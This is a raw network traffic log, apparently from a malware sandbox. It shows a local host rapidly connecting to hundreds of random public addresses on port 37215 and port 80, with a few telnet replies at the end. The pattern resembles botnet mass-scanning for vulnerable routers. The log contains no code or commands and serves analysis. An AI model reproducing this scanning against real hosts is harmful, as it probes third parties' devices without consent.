Dec 3, 2024 22:01:59.886786938 CET	40832	37215	192.168.2.14	197.4.49.15
Dec 3, 2024 22:01:59.886781931 CET	40832	37215	192.168.2.14	197.112.35.174
Dec 3, 2024 22:01:59.886786938 CET	39296	80	192.168.2.14	52.164.183.85
Dec 3, 2024 22:01:59.886785030 CET	39296	80	192.168.2.14	23.71.101.179
Dec 3, 2024 22:01:59.886786938 CET	40832	37215	192.168.2.14	197.155.202.122
Dec 3, 2024 22:01:59.886785030 CET	39296	80	192.168.2.14	91.244.77.36
Dec 3, 2024 22:01:59.886784077 CET	39296	80	192.168.2.14	203.218.239.32
Dec 3, 2024 22:01:59.886786938 CET	39296	80	192.168.2.14	159.227.37.214
Dec 3, 2024 22:01:59.886784077 CET	39296	80	192.168.2.14	154.152.48.242
Dec 3, 2024 22:01:59.886786938 CET	39296	80	192.168.2.14	133.43.46.124
Dec 3, 2024 22:01:59.886785030 CET	39296	80	192.168.2.14	136.222.172.109
Dec 3, 2024 22:01:59.886786938 CET	40832	37215	192.168.2.14	156.54.23.187
Dec 3, 2024 22:01:59.886785030 CET	40832	37215	192.168.2.14	156.80.69.146
Dec 3, 2024 22:01:59.886799097 CET	39296	80	192.168.2.14	37.73.212.197
Dec 3, 2024 22:01:59.886799097 CET	39296	80	192.168.2.14	165.200.198.171
Dec 3, 2024 22:01:59.886799097 CET	40832	37215	192.168.2.14	197.121.179.35
Dec 3, 2024 22:01:59.886799097 CET	40832	37215	192.168.2.14	156.237.247.229
Dec 3, 2024 22:01:59.886801958 CET	39296	80	192.168.2.14	213.124.163.112
Dec 3, 2024 22:01:59.886801958 CET	40832	37215	192.168.2.14	197.18.219.164
Dec 3, 2024 22:01:59.886801958 CET	40832	37215	192.168.2.14	156.161.62.51
Dec 3, 2024 22:01:59.886801958 CET	40832	37215	192.168.2.14	156.84.230.40
Dec 3, 2024 22:01:59.886805058 CET	40832	37215	192.168.2.14	156.78.133.105
Dec 3, 2024 22:01:59.886806011 CET	39296	80	192.168.2.14	160.197.33.247
Dec 3, 2024 22:01:59.886806011 CET	39296	80	192.168.2.14	174.99.195.214
Dec 3, 2024 22:01:59.886806011 CET	39296	80	192.168.2.14	208.181.204.79
Dec 3, 2024 22:01:59.886806011 CET	39296	80	192.168.2.14	125.46.185.64
Dec 3, 2024 22:01:59.886806011 CET	40832	37215	192.168.2.14	41.8.160.120
Dec 3, 2024 22:01:59.886806011 CET	40832	37215	192.168.2.14	156.125.92.118
Dec 3, 2024 22:01:59.886806965 CET	39296	80	192.168.2.14	161.233.244.218
Dec 3, 2024 22:01:59.886806965 CET	40832	37215	192.168.2.14	41.116.97.219
Dec 3, 2024 22:01:59.886806965 CET	40832	37215	192.168.2.14	156.253.116.95
Dec 3, 2024 22:01:59.886806965 CET	40832	37215	192.168.2.14	156.33.56.67
Dec 3, 2024 22:01:59.886806965 CET	40832	37215	192.168.2.14	197.3.133.72
Dec 3, 2024 22:01:59.886806965 CET	39296	80	192.168.2.14	38.194.0.45
Dec 3, 2024 22:01:59.886806965 CET	40832	37215	192.168.2.14	156.231.249.235
Dec 3, 2024 22:01:59.886816025 CET	39296	80	192.168.2.14	156.25.216.80
Dec 3, 2024 22:01:59.886816025 CET	39296	80	192.168.2.14	143.151.174.17
Dec 3, 2024 22:01:59.886822939 CET	40832	37215	192.168.2.14	197.235.157.146
Dec 3, 2024 22:01:59.886826038 CET	39296	80	192.168.2.14	58.66.49.240
Dec 3, 2024 22:01:59.886826038 CET	40832	37215	192.168.2.14	41.234.57.180
Dec 3, 2024 22:01:59.886826992 CET	40832	37215	192.168.2.14	156.165.71.3
Dec 3, 2024 22:01:59.886826992 CET	40832	37215	192.168.2.14	197.160.86.218
Dec 3, 2024 22:01:59.886826992 CET	39296	80	192.168.2.14	54.52.230.233
Dec 3, 2024 22:01:59.886827946 CET	39296	80	192.168.2.14	76.226.217.235
Dec 3, 2024 22:01:59.886826992 CET	40832	37215	192.168.2.14	197.29.135.57
Dec 3, 2024 22:01:59.886827946 CET	39296	80	192.168.2.14	9.202.168.186
Dec 3, 2024 22:01:59.886827946 CET	39296	80	192.168.2.14	202.49.0.13
Dec 3, 2024 22:01:59.886826992 CET	40832	37215	192.168.2.14	197.90.23.48
Dec 3, 2024 22:01:59.886826992 CET	39296	80	192.168.2.14	218.150.160.105
Dec 3, 2024 22:01:59.886826992 CET	40832	37215	192.168.2.14	156.40.102.114
Dec 3, 2024 22:01:59.886826992 CET	39296	80	192.168.2.14	221.147.186.182
Dec 3, 2024 22:01:59.886837959 CET	40832	37215	192.168.2.14	41.207.0.177
Dec 3, 2024 22:01:59.886846066 CET	40832	37215	192.168.2.14	156.31.62.236
Dec 3, 2024 22:01:59.886846066 CET	40832	37215	192.168.2.14	156.132.126.233
Dec 3, 2024 22:01:59.886846066 CET	39296	80	192.168.2.14	8.3.235.84
Dec 3, 2024 22:01:59.886847019 CET	40832	37215	192.168.2.14	156.134.210.165
Dec 3, 2024 22:01:59.886846066 CET	40832	37215	192.168.2.14	41.78.8.120
Dec 3, 2024 22:01:59.886847019 CET	40832	37215	192.168.2.14	156.123.215.38
Dec 3, 2024 22:01:59.886847019 CET	40832	37215	192.168.2.14	41.3.245.141
Dec 3, 2024 22:01:59.886847019 CET	40832	37215	192.168.2.14	197.242.142.27
Dec 3, 2024 22:01:59.886848927 CET	40832	37215	192.168.2.14	41.117.119.22
Dec 3, 2024 22:01:59.886848927 CET	40832	37215	192.168.2.14	156.215.90.68
Dec 3, 2024 22:01:59.886848927 CET	39296	80	192.168.2.14	120.103.16.4
Dec 3, 2024 22:01:59.886848927 CET	39296	80	192.168.2.14	49.2.71.248
Dec 3, 2024 22:01:59.886848927 CET	40832	37215	192.168.2.14	197.225.77.46
Dec 3, 2024 22:01:59.886853933 CET	40832	37215	192.168.2.14	156.23.144.186
Dec 3, 2024 22:01:59.886853933 CET	39296	80	192.168.2.14	37.132.198.202
Dec 3, 2024 22:01:59.886856079 CET	40832	37215	192.168.2.14	197.47.225.34
Dec 3, 2024 22:01:59.886856079 CET	40832	37215	192.168.2.14	41.162.55.184
Dec 3, 2024 22:01:59.886856079 CET	39296	80	192.168.2.14	85.165.76.184
Dec 3, 2024 22:01:59.886866093 CET	40832	37215	192.168.2.14	41.70.124.28
Dec 3, 2024 22:01:59.886866093 CET	39296	80	192.168.2.14	132.91.162.97
Dec 3, 2024 22:01:59.886866093 CET	39296	80	192.168.2.14	141.68.254.114
Dec 3, 2024 22:01:59.886866093 CET	39296	80	192.168.2.14	128.145.97.179
Dec 3, 2024 22:01:59.886868954 CET	39296	80	192.168.2.14	89.131.60.170
Dec 3, 2024 22:01:59.886868954 CET	40832	37215	192.168.2.14	156.78.35.93
Dec 3, 2024 22:01:59.886871099 CET	40832	37215	192.168.2.14	41.180.78.34
Dec 3, 2024 22:01:59.886871099 CET	40832	37215	192.168.2.14	197.90.48.123
Dec 3, 2024 22:01:59.886872053 CET	39296	80	192.168.2.14	53.29.143.103
Dec 3, 2024 22:01:59.886878014 CET	39296	80	192.168.2.14	143.29.38.81
Dec 3, 2024 22:01:59.886881113 CET	40832	37215	192.168.2.14	156.97.137.166
Dec 3, 2024 22:01:59.886892080 CET	39296	80	192.168.2.14	60.150.89.18
Dec 3, 2024 22:01:59.886898041 CET	39296	80	192.168.2.14	1.72.66.9
Dec 3, 2024 22:01:59.886898994 CET	40832	37215	192.168.2.14	41.158.131.87
Dec 3, 2024 22:01:59.886898994 CET	39296	80	192.168.2.14	148.49.11.186
Dec 3, 2024 22:01:59.886902094 CET	39296	80	192.168.2.14	213.149.123.195
Dec 3, 2024 22:01:59.886902094 CET	39296	80	192.168.2.14	125.58.40.49
Dec 3, 2024 22:01:59.886903048 CET	39296	80	192.168.2.14	101.24.230.52
Dec 3, 2024 22:01:59.886903048 CET	40832	37215	192.168.2.14	41.7.135.92
Dec 3, 2024 22:01:59.886905909 CET	40832	37215	192.168.2.14	197.97.27.162
Dec 3, 2024 22:01:59.886905909 CET	40832	37215	192.168.2.14	197.251.231.59
Dec 3, 2024 22:01:59.886905909 CET	40832	37215	192.168.2.14	41.209.196.135
Dec 3, 2024 22:01:59.886903048 CET	39296	80	192.168.2.14	41.172.86.198
Dec 3, 2024 22:01:59.886909008 CET	40832	37215	192.168.2.14	156.211.120.224
Dec 3, 2024 22:01:59.886909962 CET	40832	37215	192.168.2.14	156.38.108.2
Dec 3, 2024 22:01:59.886908054 CET	40832	37215	192.168.2.14	156.207.184.176
Dec 3, 2024 22:01:59.886905909 CET	40832	37215	192.168.2.14	197.157.248.0
Dec 3, 2024 22:01:59.886905909 CET	40832	37215	192.168.2.14	156.64.224.71
Dec 3, 2024 22:01:59.886924028 CET	39296	80	192.168.2.14	153.106.14.125
Dec 3, 2024 22:01:59.886934042 CET	39296	80	192.168.2.14	176.88.8.9
Dec 3, 2024 22:01:59.886934042 CET	39296	80	192.168.2.14	174.106.120.146
Dec 3, 2024 22:01:59.886934996 CET	40832	37215	192.168.2.14	156.253.56.168
Dec 3, 2024 22:01:59.886934996 CET	39296	80	192.168.2.14	218.20.77.233
Dec 3, 2024 22:01:59.886938095 CET	39296	80	192.168.2.14	139.26.253.239
Dec 3, 2024 22:01:59.886938095 CET	39296	80	192.168.2.14	100.25.237.64
Dec 3, 2024 22:01:59.886940002 CET	39296	80	192.168.2.14	47.53.251.40
Dec 3, 2024 22:01:59.886940002 CET	40832	37215	192.168.2.14	197.105.108.168
Dec 3, 2024 22:01:59.886944056 CET	39296	80	192.168.2.14	158.203.77.5
Dec 3, 2024 22:01:59.886962891 CET	40832	37215	192.168.2.14	197.8.200.81
Dec 3, 2024 22:01:59.886962891 CET	39296	80	192.168.2.14	203.246.129.69
Dec 3, 2024 22:01:59.886962891 CET	40832	37215	192.168.2.14	156.74.119.82
Dec 3, 2024 22:01:59.886964083 CET	40832	37215	192.168.2.14	41.129.232.141
Dec 3, 2024 22:01:59.886964083 CET	39296	80	192.168.2.14	9.22.11.147
Dec 3, 2024 22:01:59.886965036 CET	40832	37215	192.168.2.14	41.72.28.4
Dec 3, 2024 22:01:59.886965036 CET	40832	37215	192.168.2.14	41.197.112.108
Dec 3, 2024 22:01:59.886965036 CET	40832	37215	192.168.2.14	41.28.252.45
Dec 3, 2024 22:01:59.886965990 CET	40832	37215	192.168.2.14	41.141.26.185
Dec 3, 2024 22:01:59.886965036 CET	40832	37215	192.168.2.14	41.142.77.124
Dec 3, 2024 22:01:59.886965990 CET	39296	80	192.168.2.14	219.25.254.171
Dec 3, 2024 22:01:59.886965036 CET	40832	37215	192.168.2.14	197.47.2.72
Dec 3, 2024 22:01:59.886965990 CET	39296	80	192.168.2.14	60.187.159.60
Dec 3, 2024 22:01:59.886965990 CET	39296	80	192.168.2.14	188.46.46.219
Dec 3, 2024 22:01:59.886965990 CET	39296	80	192.168.2.14	82.192.149.46
Dec 3, 2024 22:01:59.886965990 CET	40832	37215	192.168.2.14	41.175.114.234
Dec 3, 2024 22:01:59.886965990 CET	39296	80	192.168.2.14	62.78.220.62
Dec 3, 2024 22:01:59.886970043 CET	39296	80	192.168.2.14	17.111.42.49
Dec 3, 2024 22:01:59.886965990 CET	40832	37215	192.168.2.14	41.174.139.36
Dec 3, 2024 22:01:59.886965990 CET	39296	80	192.168.2.14	14.110.30.154
Dec 3, 2024 22:01:59.886970043 CET	40832	37215	192.168.2.14	197.18.235.144
Dec 3, 2024 22:01:59.886965990 CET	39296	80	192.168.2.14	151.47.158.158
Dec 3, 2024 22:01:59.886980057 CET	40832	37215	192.168.2.14	156.15.233.96
Dec 3, 2024 22:01:59.886970043 CET	40832	37215	192.168.2.14	41.137.144.177
Dec 3, 2024 22:01:59.886980057 CET	40832	37215	192.168.2.14	41.228.119.96
Dec 3, 2024 22:01:59.886982918 CET	39296	80	192.168.2.14	119.127.80.109
Dec 3, 2024 22:01:59.886980057 CET	40832	37215	192.168.2.14	41.80.67.111
Dec 3, 2024 22:01:59.886970043 CET	40832	37215	192.168.2.14	156.114.233.130
Dec 3, 2024 22:01:59.886980057 CET	40832	37215	192.168.2.14	41.115.66.241
Dec 3, 2024 22:01:59.886970043 CET	39296	80	192.168.2.14	79.181.108.94
Dec 3, 2024 22:01:59.886991978 CET	39296	80	192.168.2.14	72.193.196.30
Dec 3, 2024 22:01:59.886995077 CET	39296	80	192.168.2.14	36.113.191.123
Dec 3, 2024 22:01:59.886995077 CET	39296	80	192.168.2.14	68.117.15.182
Dec 3, 2024 22:01:59.886991978 CET	40832	37215	192.168.2.14	41.128.222.187
Dec 3, 2024 22:01:59.886991978 CET	40832	37215	192.168.2.14	41.227.8.241
Dec 3, 2024 22:01:59.886991978 CET	40832	37215	192.168.2.14	197.244.94.53
Dec 3, 2024 22:01:59.886991978 CET	39296	80	192.168.2.14	9.142.116.235
Dec 3, 2024 22:01:59.887000084 CET	40832	37215	192.168.2.14	156.175.216.190
Dec 3, 2024 22:01:59.887000084 CET	39296	80	192.168.2.14	39.230.231.205
Dec 3, 2024 22:01:59.887000084 CET	39296	80	192.168.2.14	123.29.105.33
Dec 3, 2024 22:01:59.887001038 CET	40832	37215	192.168.2.14	156.110.192.85
Dec 3, 2024 22:01:59.887002945 CET	39296	80	192.168.2.14	58.57.98.203
Dec 3, 2024 22:01:59.887003899 CET	40832	37215	192.168.2.14	197.5.205.145
Dec 3, 2024 22:01:59.887002945 CET	40832	37215	192.168.2.14	41.0.1.44
Dec 3, 2024 22:01:59.887003899 CET	39296	80	192.168.2.14	134.116.58.212
Dec 3, 2024 22:01:59.887003899 CET	39296	80	192.168.2.14	60.41.102.103
Dec 3, 2024 22:01:59.887003899 CET	39296	80	192.168.2.14	170.201.249.228
Dec 3, 2024 22:01:59.887008905 CET	39296	80	192.168.2.14	103.249.53.18
Dec 3, 2024 22:01:59.887011051 CET	39296	80	192.168.2.14	69.227.228.184
Dec 3, 2024 22:01:59.887011051 CET	39296	80	192.168.2.14	144.254.218.218
Dec 3, 2024 22:01:59.887011051 CET	39296	80	192.168.2.14	76.229.176.60
Dec 3, 2024 22:01:59.887006044 CET	40832	37215	192.168.2.14	156.76.55.222
Dec 3, 2024 22:01:59.887011051 CET	39296	80	192.168.2.14	64.51.13.249
Dec 3, 2024 22:01:59.887006044 CET	39296	80	192.168.2.14	63.142.168.165
Dec 3, 2024 22:01:59.887011051 CET	39296	80	192.168.2.14	107.203.17.139
Dec 3, 2024 22:01:59.887011051 CET	39296	80	192.168.2.14	61.128.63.203
Dec 3, 2024 22:01:59.887011051 CET	40832	37215	192.168.2.14	156.63.134.190
Dec 3, 2024 22:01:59.887011051 CET	40832	37215	192.168.2.14	41.194.206.154
Dec 3, 2024 22:01:59.887017012 CET	40832	37215	192.168.2.14	41.250.192.255
Dec 3, 2024 22:01:59.887017965 CET	39296	80	192.168.2.14	38.37.246.123
Dec 3, 2024 22:01:59.887017965 CET	40832	37215	192.168.2.14	197.212.83.223
Dec 3, 2024 22:01:59.887017965 CET	40832	37215	192.168.2.14	41.79.26.126
Dec 3, 2024 22:01:59.887017965 CET	40832	37215	192.168.2.14	197.202.12.208
Dec 3, 2024 22:01:59.887017965 CET	40832	37215	192.168.2.14	156.71.43.8
Dec 3, 2024 22:01:59.887031078 CET	40832	37215	192.168.2.14	197.86.63.46
Dec 3, 2024 22:01:59.887032032 CET	40832	37215	192.168.2.14	156.215.26.85
Dec 3, 2024 22:01:59.887034893 CET	40832	37215	192.168.2.14	197.147.86.140
Dec 3, 2024 22:01:59.887041092 CET	40832	37215	192.168.2.14	197.129.194.190
Dec 3, 2024 22:01:59.887041092 CET	40832	37215	192.168.2.14	41.115.255.237
Dec 3, 2024 22:01:59.887052059 CET	40832	37215	192.168.2.14	156.236.128.231
Dec 3, 2024 22:01:59.887052059 CET	40832	37215	192.168.2.14	41.195.137.103
Dec 3, 2024 22:01:59.887053013 CET	40832	37215	192.168.2.14	156.140.15.31
Dec 3, 2024 22:01:59.887056112 CET	40832	37215	192.168.2.14	41.253.197.119
Dec 3, 2024 22:01:59.887061119 CET	40832	37215	192.168.2.14	197.151.52.227
Dec 3, 2024 22:01:59.887063026 CET	40832	37215	192.168.2.14	41.168.139.247
Dec 3, 2024 22:01:59.887063026 CET	40832	37215	192.168.2.14	156.100.250.222
Dec 3, 2024 22:01:59.887065887 CET	40832	37215	192.168.2.14	156.60.113.163
Dec 3, 2024 22:01:59.887067080 CET	40832	37215	192.168.2.14	41.179.101.141
Dec 3, 2024 22:01:59.887080908 CET	40832	37215	192.168.2.14	41.42.94.90
Dec 3, 2024 22:01:59.887080908 CET	40832	37215	192.168.2.14	156.191.15.225
Dec 3, 2024 22:01:59.887080908 CET	40832	37215	192.168.2.14	197.69.110.136
Dec 3, 2024 22:01:59.887080908 CET	40832	37215	192.168.2.14	156.1.44.163
Dec 3, 2024 22:01:59.887085915 CET	40832	37215	192.168.2.14	156.200.240.191
Dec 3, 2024 22:01:59.887088060 CET	40832	37215	192.168.2.14	156.248.168.247
Dec 3, 2024 22:01:59.887089014 CET	40832	37215	192.168.2.14	41.26.201.253
Dec 3, 2024 22:01:59.887089014 CET	40832	37215	192.168.2.14	41.165.251.217
Dec 3, 2024 22:01:59.887090921 CET	40832	37215	192.168.2.14	41.23.231.77
Dec 3, 2024 22:01:59.887103081 CET	40832	37215	192.168.2.14	156.251.66.115
Dec 3, 2024 22:01:59.887108088 CET	40832	37215	192.168.2.14	156.161.93.15
Dec 3, 2024 22:01:59.887109041 CET	40832	37215	192.168.2.14	156.190.144.253
Dec 3, 2024 22:01:59.887120962 CET	40832	37215	192.168.2.14	41.114.57.41
Dec 3, 2024 22:01:59.887129068 CET	40832	37215	192.168.2.14	156.5.140.32
Dec 3, 2024 22:01:59.887131929 CET	40832	37215	192.168.2.14	156.186.91.88
Dec 3, 2024 22:01:59.887134075 CET	40832	37215	192.168.2.14	156.55.85.14
Dec 3, 2024 22:01:59.887145042 CET	40832	37215	192.168.2.14	156.160.112.91
Dec 3, 2024 22:01:59.887149096 CET	40832	37215	192.168.2.14	41.234.30.208
Dec 3, 2024 22:01:59.887151957 CET	40832	37215	192.168.2.14	156.29.248.6
Dec 3, 2024 22:01:59.887151957 CET	40832	37215	192.168.2.14	41.89.117.191
Dec 3, 2024 22:01:59.887151957 CET	40832	37215	192.168.2.14	156.36.136.199
Dec 3, 2024 22:01:59.887156963 CET	40832	37215	192.168.2.14	156.104.250.156
Dec 3, 2024 22:01:59.887161016 CET	40832	37215	192.168.2.14	197.79.25.147
Dec 3, 2024 22:01:59.887162924 CET	40832	37215	192.168.2.14	41.133.58.238
Dec 3, 2024 22:01:59.887165070 CET	40832	37215	192.168.2.14	197.90.161.28
Dec 3, 2024 22:01:59.887165070 CET	40832	37215	192.168.2.14	41.73.157.46
Dec 3, 2024 22:01:59.887181997 CET	40832	37215	192.168.2.14	41.206.56.152
Dec 3, 2024 22:01:59.887181997 CET	40832	37215	192.168.2.14	41.144.38.129
Dec 3, 2024 22:01:59.887187958 CET	40832	37215	192.168.2.14	197.34.60.224
Dec 3, 2024 22:01:59.887190104 CET	40832	37215	192.168.2.14	156.194.12.146
Dec 3, 2024 22:01:59.887193918 CET	40832	37215	192.168.2.14	156.29.24.102
Dec 3, 2024 22:01:59.887197018 CET	40832	37215	192.168.2.14	197.19.215.90
Dec 3, 2024 22:01:59.887197018 CET	40832	37215	192.168.2.14	41.121.108.70
Dec 3, 2024 22:01:59.887207031 CET	40832	37215	192.168.2.14	156.111.25.76
Dec 3, 2024 22:01:59.887208939 CET	40832	37215	192.168.2.14	156.133.97.3
Dec 3, 2024 22:01:59.887208939 CET	40832	37215	192.168.2.14	197.30.28.147
Dec 3, 2024 22:01:59.887208939 CET	40832	37215	192.168.2.14	41.190.25.180
Dec 3, 2024 22:01:59.887212992 CET	40832	37215	192.168.2.14	156.163.94.136
Dec 3, 2024 22:01:59.887226105 CET	40832	37215	192.168.2.14	197.126.77.206
Dec 3, 2024 22:01:59.887226105 CET	40832	37215	192.168.2.14	41.219.23.113
Dec 3, 2024 22:01:59.887231112 CET	40832	37215	192.168.2.14	156.119.213.61
Dec 3, 2024 22:01:59.887232065 CET	40832	37215	192.168.2.14	156.14.30.105
Dec 3, 2024 22:01:59.887233973 CET	40832	37215	192.168.2.14	197.137.142.72
Dec 3, 2024 22:01:59.887233973 CET	40832	37215	192.168.2.14	156.183.152.250
Dec 3, 2024 22:01:59.887234926 CET	40832	37215	192.168.2.14	41.122.25.4
Dec 3, 2024 22:01:59.887237072 CET	40832	37215	192.168.2.14	197.248.241.107
Dec 3, 2024 22:01:59.887240887 CET	40832	37215	192.168.2.14	197.76.57.97
Dec 3, 2024 22:01:59.887243032 CET	40832	37215	192.168.2.14	197.147.138.233
Dec 3, 2024 22:01:59.887255907 CET	40832	37215	192.168.2.14	197.86.140.135
Dec 3, 2024 22:01:59.887257099 CET	40832	37215	192.168.2.14	197.178.53.109
Dec 3, 2024 22:01:59.887257099 CET	40832	37215	192.168.2.14	197.95.244.220
Dec 3, 2024 22:01:59.887259007 CET	40832	37215	192.168.2.14	41.25.237.238
Dec 3, 2024 22:01:59.887259007 CET	40832	37215	192.168.2.14	156.133.121.162
Dec 3, 2024 22:01:59.887269020 CET	40832	37215	192.168.2.14	41.44.12.97
Dec 3, 2024 22:01:59.887279034 CET	40832	37215	192.168.2.14	156.103.154.172
Dec 3, 2024 22:01:59.887279034 CET	40832	37215	192.168.2.14	197.38.60.88
Dec 3, 2024 22:01:59.887284994 CET	40832	37215	192.168.2.14	156.228.43.78
Dec 3, 2024 22:01:59.887284994 CET	40832	37215	192.168.2.14	41.232.67.65
Dec 3, 2024 22:01:59.887289047 CET	40832	37215	192.168.2.14	41.239.60.11
Dec 3, 2024 22:01:59.887289047 CET	40832	37215	192.168.2.14	41.5.202.201
Dec 3, 2024 22:01:59.887290955 CET	40832	37215	192.168.2.14	41.201.224.174
Dec 3, 2024 22:01:59.887290955 CET	40832	37215	192.168.2.14	156.74.241.67
Dec 3, 2024 22:01:59.887291908 CET	40832	37215	192.168.2.14	41.247.94.247
Dec 3, 2024 22:01:59.887303114 CET	40832	37215	192.168.2.14	41.227.27.203
Dec 3, 2024 22:01:59.887303114 CET	40832	37215	192.168.2.14	197.129.115.213
Dec 3, 2024 22:01:59.887304068 CET	40832	37215	192.168.2.14	156.203.100.45
Dec 3, 2024 22:01:59.887304068 CET	40832	37215	192.168.2.14	197.224.47.254
Dec 3, 2024 22:01:59.887310028 CET	40832	37215	192.168.2.14	197.72.12.94
Dec 3, 2024 22:01:59.887330055 CET	40832	37215	192.168.2.14	197.154.225.139
Dec 3, 2024 22:01:59.887331963 CET	40832	37215	192.168.2.14	197.138.250.116
Dec 3, 2024 22:01:59.887331963 CET	40832	37215	192.168.2.14	156.89.57.212
Dec 3, 2024 22:01:59.887336016 CET	40832	37215	192.168.2.14	156.189.130.144
Dec 3, 2024 22:01:59.887336016 CET	40832	37215	192.168.2.14	156.102.75.14
Dec 3, 2024 22:01:59.887336016 CET	40832	37215	192.168.2.14	41.200.37.237
Dec 3, 2024 22:01:59.887339115 CET	40832	37215	192.168.2.14	41.213.189.3
Dec 3, 2024 22:01:59.887341022 CET	40832	37215	192.168.2.14	197.50.193.51
Dec 3, 2024 22:01:59.887343884 CET	40832	37215	192.168.2.14	156.19.222.96
Dec 3, 2024 22:01:59.887345076 CET	40832	37215	192.168.2.14	197.139.168.201
Dec 3, 2024 22:01:59.887345076 CET	40832	37215	192.168.2.14	197.168.222.110
Dec 3, 2024 22:01:59.887368917 CET	40832	37215	192.168.2.14	156.32.56.149
Dec 3, 2024 22:01:59.887370110 CET	40832	37215	192.168.2.14	156.215.234.103
Dec 3, 2024 22:01:59.887371063 CET	40832	37215	192.168.2.14	41.224.134.58
Dec 3, 2024 22:01:59.887371063 CET	40832	37215	192.168.2.14	41.92.157.198
Dec 3, 2024 22:01:59.887377977 CET	40832	37215	192.168.2.14	41.188.72.99
Dec 3, 2024 22:01:59.887377977 CET	40832	37215	192.168.2.14	197.196.217.228
Dec 3, 2024 22:01:59.887378931 CET	40832	37215	192.168.2.14	41.59.158.134
Dec 3, 2024 22:01:59.887392044 CET	40832	37215	192.168.2.14	41.63.194.95
Dec 3, 2024 22:01:59.887392044 CET	40832	37215	192.168.2.14	197.162.232.227
Dec 3, 2024 22:01:59.887393951 CET	40832	37215	192.168.2.14	156.122.33.145
Dec 3, 2024 22:01:59.887394905 CET	40832	37215	192.168.2.14	197.23.10.233
Dec 3, 2024 22:01:59.887394905 CET	40832	37215	192.168.2.14	156.101.115.252
Dec 3, 2024 22:01:59.887399912 CET	40832	37215	192.168.2.14	197.229.156.41
Dec 3, 2024 22:01:59.887414932 CET	40832	37215	192.168.2.14	156.223.60.17
Dec 3, 2024 22:01:59.887422085 CET	40832	37215	192.168.2.14	156.40.197.22
Dec 3, 2024 22:01:59.887423038 CET	40832	37215	192.168.2.14	197.76.205.67
Dec 3, 2024 22:01:59.887423038 CET	40832	37215	192.168.2.14	156.76.89.106
Dec 3, 2024 22:01:59.887424946 CET	40832	37215	192.168.2.14	156.100.143.179
Dec 3, 2024 22:01:59.887439013 CET	40832	37215	192.168.2.14	41.106.85.62
Dec 3, 2024 22:01:59.887439013 CET	40832	37215	192.168.2.14	41.98.70.251
Dec 3, 2024 22:01:59.887439013 CET	40832	37215	192.168.2.14	197.116.186.24
Dec 3, 2024 22:01:59.887443066 CET	40832	37215	192.168.2.14	156.95.119.208
Dec 3, 2024 22:01:59.887443066 CET	40832	37215	192.168.2.14	156.4.228.225
Dec 3, 2024 22:01:59.887456894 CET	40832	37215	192.168.2.14	41.219.93.175
Dec 3, 2024 22:01:59.887456894 CET	40832	37215	192.168.2.14	197.185.22.200
Dec 3, 2024 22:01:59.887464046 CET	40832	37215	192.168.2.14	156.246.68.16
Dec 3, 2024 22:01:59.887475014 CET	40832	37215	192.168.2.14	197.166.240.185
Dec 3, 2024 22:01:59.887475014 CET	40832	37215	192.168.2.14	156.43.220.81
Dec 3, 2024 22:01:59.887478113 CET	40832	37215	192.168.2.14	197.16.38.166
Dec 3, 2024 22:01:59.887484074 CET	40832	37215	192.168.2.14	197.30.235.221
Dec 3, 2024 22:01:59.887489080 CET	40832	37215	192.168.2.14	197.29.221.254
Dec 3, 2024 22:01:59.887491941 CET	40832	37215	192.168.2.14	197.100.216.243
Dec 3, 2024 22:01:59.887494087 CET	40832	37215	192.168.2.14	197.59.103.201
Dec 3, 2024 22:01:59.887496948 CET	40832	37215	192.168.2.14	41.215.228.14
Dec 3, 2024 22:01:59.887501955 CET	40832	37215	192.168.2.14	197.40.217.201
Dec 3, 2024 22:01:59.887501955 CET	40832	37215	192.168.2.14	197.148.86.96
Dec 3, 2024 22:01:59.887501955 CET	40832	37215	192.168.2.14	156.76.211.194
Dec 3, 2024 22:01:59.887506962 CET	40832	37215	192.168.2.14	197.5.102.16
Dec 3, 2024 22:01:59.887506962 CET	40832	37215	192.168.2.14	156.100.103.229
Dec 3, 2024 22:01:59.887511969 CET	40832	37215	192.168.2.14	197.251.237.85
Dec 3, 2024 22:01:59.887515068 CET	40832	37215	192.168.2.14	197.204.69.108
Dec 3, 2024 22:01:59.887520075 CET	40832	37215	192.168.2.14	41.184.7.62
Dec 3, 2024 22:01:59.887525082 CET	40832	37215	192.168.2.14	41.211.51.209
Dec 3, 2024 22:01:59.887525082 CET	40832	37215	192.168.2.14	197.110.117.244
Dec 3, 2024 22:01:59.887541056 CET	40832	37215	192.168.2.14	156.47.163.236
Dec 3, 2024 22:01:59.887545109 CET	40832	37215	192.168.2.14	41.106.1.104
Dec 3, 2024 22:01:59.887547016 CET	40832	37215	192.168.2.14	197.158.89.206
Dec 3, 2024 22:01:59.887547970 CET	40832	37215	192.168.2.14	41.23.185.73
Dec 3, 2024 22:01:59.887547970 CET	40832	37215	192.168.2.14	41.158.70.73
Dec 3, 2024 22:01:59.887559891 CET	40832	37215	192.168.2.14	41.52.39.192
Dec 3, 2024 22:01:59.887562037 CET	40832	37215	192.168.2.14	197.62.245.59
Dec 3, 2024 22:01:59.887562037 CET	40832	37215	192.168.2.14	41.114.37.32
Dec 3, 2024 22:01:59.887562990 CET	40832	37215	192.168.2.14	197.23.205.196
Dec 3, 2024 22:01:59.887562990 CET	40832	37215	192.168.2.14	41.86.84.63
Dec 3, 2024 22:01:59.887571096 CET	40832	37215	192.168.2.14	41.234.4.172
Dec 3, 2024 22:01:59.887578011 CET	40832	37215	192.168.2.14	41.215.56.206
Dec 3, 2024 22:01:59.887578011 CET	40832	37215	192.168.2.14	41.38.167.21
Dec 3, 2024 22:01:59.887578964 CET	40832	37215	192.168.2.14	197.113.246.129
Dec 3, 2024 22:01:59.887582064 CET	40832	37215	192.168.2.14	156.92.0.26
Dec 3, 2024 22:01:59.887582064 CET	40832	37215	192.168.2.14	197.209.214.70
Dec 3, 2024 22:01:59.887582064 CET	40832	37215	192.168.2.14	197.91.54.229
Dec 3, 2024 22:01:59.887583017 CET	40832	37215	192.168.2.14	197.240.39.216
Dec 3, 2024 22:01:59.887587070 CET	40832	37215	192.168.2.14	156.110.191.64
Dec 3, 2024 22:01:59.887595892 CET	40832	37215	192.168.2.14	197.160.201.34
Dec 3, 2024 22:01:59.887595892 CET	40832	37215	192.168.2.14	156.252.207.147
Dec 3, 2024 22:01:59.887602091 CET	40832	37215	192.168.2.14	156.219.250.195
Dec 3, 2024 22:01:59.887602091 CET	40832	37215	192.168.2.14	197.219.201.185
Dec 3, 2024 22:01:59.887615919 CET	40832	37215	192.168.2.14	41.76.143.92
Dec 3, 2024 22:01:59.983279943 CET	23	39808	13.124.229.68	192.168.2.14
Dec 3, 2024 22:01:59.983336926 CET	23	39808	115.166.244.237	192.168.2.14
